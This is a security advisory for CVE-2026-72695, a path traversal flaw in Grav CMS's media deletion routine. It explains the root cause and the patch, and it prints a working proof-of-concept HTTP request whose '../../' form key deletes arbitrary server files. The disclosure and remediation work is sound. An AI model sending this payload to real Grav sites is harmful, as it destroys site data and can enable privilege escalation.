high · 8.1CVE-2026-72695Sep 17, 2026

CVE-2026-72695: Grav CMS Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A path traversal bug in Grav CMS lets any authenticated user with media permissions delete files anywhere on the server, including config and account files, by slipping ../ sequences into a media…

Packagegetgrav/grav
Ecosystemcomposer
Affected<= 2.0.15
Fixed in2.0.16

The problem

In Grav <= 2.0.15, MediaUploadTrait::deleteFile() splits the incoming filename into a basename and a directory path, then validates only the basename with Utils::checkFilename(). The directory portion, which can contain ../../ sequences, is never checked and is concatenated back before being handed to unlink().

The vulnerability is reachable through the Flex media pipeline. When a page edit form is submitted, FlexMediaTrait::setUpdatedMedia() reads filenames directly from form flash data as user-controlled array keys. For deletion entries (where the file value is null) no upload validation runs at all, so the raw traversal string flows straight into deleteFile() and on to doRemove(), which calls unlink("{$folder}/{$filename}") with the unsanitized path.

An authenticated admin-level user (not necessarily super-admin) can exploit this to delete config files, user account YAML files, or any other file the web server process can reach, causing data loss or privilege escalation.

Proof of concept

A working proof-of-concept for CVE-2026-72695 in getgrav/grav, with the exact payload below.

http
POST /admin/pages/mypage/task:save HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----Boundary
Cookie: grav-site-xxx=<valid_session>

------Boundary
Content-Disposition: form-data; name="admin-nonce"

<valid_nonce>
------Boundary
Content-Disposition: form-data; name="data[media][../../data/target.txt]"


------Boundary--

# The key  ../../data/target.txt  is the traversal payload.
# basename()  -> target.txt  (passes Utils::checkFilename())
# pathname()  -> ../../data/
# reconstructed name -> ../../data/target.txt
# doRemove() calls: unlink("/var/www/grav/user/pages/mypage/../../data/target.txt")
# resolves to:      unlink("/var/www/grav/user/data/target.txt")

The root cause is a split-then-validate pattern: $filesystem->basename($filename) strips the directory component before Utils::checkFilename() runs, so traversal dots in the directory portion are invisible to the check. Utils::checkFilename() correctly rejects /, \, and .., but it never sees them here.

The patch (commit 804731d, released in 2.0.16) moves validation to the full $filename before decomposition, so any input containing .. or a separator is rejected immediately. The same fix was applied to renameFile() and the copy path as a defense-in-depth measure, since those methods shared the same pattern.

The fix

Upgrade getgrav/grav to 2.0.16 or later. The fix applies Utils::checkFilename() to the complete filename argument in deleteFile(), renameFile(), and the media copy routine before any path decomposition occurs. No workaround is available in affected versions; the only remediation is upgrading.

Reported by AI-assisted security research (reported via rhukster / Grav maintainers).

References: [1][2][3][4]

Related research